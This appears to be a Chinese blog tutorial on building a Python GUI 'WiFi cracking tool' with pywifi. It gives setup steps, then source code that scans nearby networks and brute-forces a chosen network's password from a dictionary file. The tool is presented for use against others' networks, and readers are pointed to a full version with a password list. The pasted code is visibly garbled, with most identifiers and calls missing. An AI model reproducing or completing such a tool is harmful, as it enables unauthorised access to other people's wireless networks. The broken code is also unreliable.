准备
环境说明
电脑系统:Windows 10 专业版
Python版本:3.8
安装配置Python
如果你的电脑已经安装了请往下看。
Python最新源码,二进制文档,新闻资讯等可以在Python的官网查看到:Python官网
python在很多平台都可以安装,有需要可以去官网瞅瞅取取经。
这里只介绍如何在Windows下安装Python,下载最新python,右键管理员运行。进入 Python 安装向导,安装非常简单,你只需要使用默认的设置一直点击"下一步"直到安装完成即可。
环境变量配置
在环境变量中添加Python目录:
在命令提示框中(cmd) : 输入 path=%path%;C:\Python 这里指的是你的安装路径记好了。
我这是在网上找的win7 的图,win10 同理。
在正式开始之前我们还要做一点点小准备
打开cmd
切换到你的python安装目录
输入python -m pip install pywifi和python -m pip install comtypes
源代码
在桌面新建一个文本文档,名字自定义,后缀改成.py
复制下面代码进去保存,然后双击运行即可。
# coding:utf-8 from tkinter import * from tkinter import ttk import pywifi from pywifi import const import time import # 在Gui中打开文件浏览 import # 打开tkiner的消息提醒框 class MY_GUI(): def __init__(self,init_window_name): ; #密码文件路径 () #设置可变内容 #获取破解wifi账号 () #获取wifi密码 () () #抓取网卡接口 ()[0] #抓取第一个无线网卡 () #测试链接断开所有连接 (1) #休眠一秒 #测试网卡是否属于断开状态 assert () in\ [con, con] def __str__(self): # 自动会调用的函数,返回自身的网卡 return '(WIFI:%s,%s)' % ()) #设置窗口 def set_init_window(self): ("WIFI破解工具") ('+500+200') labelframe=LabelFrame(width=400,height=200,text="配置") # 框架,以下对象都是对于labelframe中添加的 label(column=0,row=0,padx=10,pady=10) = Button(labelframe,text="搜索附近WiFi",command=).grid(column=0,row=0) = Button(labelframe,text="开始破解",command=).grid(column=1,row=0) = Label(labelframe,text="目录路径:").grid(column=0,row=1) = Entry(labelframe,width=12,textvariable = ).grid(column=1,row=1) = Button(labelframe,text="添加密码文件目录",command=).grid(column=2,row=1) = Label(labelframe,text="WiFi账号:").grid(column=0,row=2) = Entry(labelframe,width=12,textvariable = ).grid(column=1,row=2) = Label(labelframe,text="WiFi密码:").grid(column=2,row=2) = Entry(labelframe,width=10,textvariable = ).grid(column=3,row=2,sticky=W) = LabelFrame(text="wifi列表") self.wifi_label(column=0, row=3,columnspan=4,sticky=NSEW) # 定义树形结构与滚动条 = (,show="headings",columns=("a", "b", "c", "d")) = (, orient=VERTICAL, command=.yview) .configure(yscrollcommand=.set) # 表格的标题 .column("a", width=50, anchor="center") .column("b", width=100, anchor="center") .column("c", width=100, anchor="center") .column("d", width=100, anchor="center") .heading("a", text="WiFiID") .heading("b", text="SSID") .heading("c", text="BSSID") .heading("d", text="signal") .grid(row=4,column=0,sticky=NSEW) .bind("<Double-1>",) .grid(row=4,column=1,sticky=NS) #搜索wifi #cmd /k C:\Python27\ "$(FULL_CURRENT_PATH)" & PAUSE & EXIT # 扫描周围wifi列表 def scans_wifi_list(self): print("^_^ 开始扫描附近wifi...") #开始扫描 () (15) #在若干秒后获取扫描结果 scanres = _results() #统计附近被发现的热点数量 nums = len(scanres) print("数量: %s"%(nums)) #print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal")) # 实际数据 (scanres) return scanres #显示wifi列表 def show_scans_wifi_list(self,scans_res): for index,wifi_info in enumerate(scans_res): # print("%-*s| %s | %*s |%*s\n"%(20,index,wi)) .insert("",'end',values=(index + 1,wi)) #print("| %s | %s | %s | %s \n"%(index,wi)) #添加密码文件目录 def add_mm_file(self): name = .askopenfilename() .set(name) #Treeview绑定事件 def onDBClick(self,event): event.widget.selection() .set(.item;values")[1]) #print("you clicked on",.item;values")[1]) #读取密码字典,进行匹配 def readPassWord(self): = .get() = .get() pwdfilehander=open(,"r",errors="ignore") while True: try: () if not : break (,) if : = "===正确=== wifi名:%s 匹配密码:%s "%(,) .set() .showinfo('提示', '破解成功!!!') print() break else: = "---错误--- wifi名:%s匹配密码:%s"%(,) print() sleep(3) except: continue #对wifi和密码进行匹配 def connect(self,pwd_Str,wifi_ssid): #创建wifi链接文件 = () .ssid =wifi_ssid #wifi名称 .auth = con #网卡的开放 .akm.append)#wifi加密算法 .cipher = con #加密单元 .key = pwd_Str #密码 () #删除所有的wifi文件 = ()#设定新的链接文件 ()#链接 (5) if () == con: #判断是否连接上 isOK=True else: isOK=False () #断开 (1) #检查断开状态 assert () in\ [con, con] return isOK def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() #ui.scans_wifi_list() ini() gui_start()
测试
完成
想要完整源代码及密码本的请移步。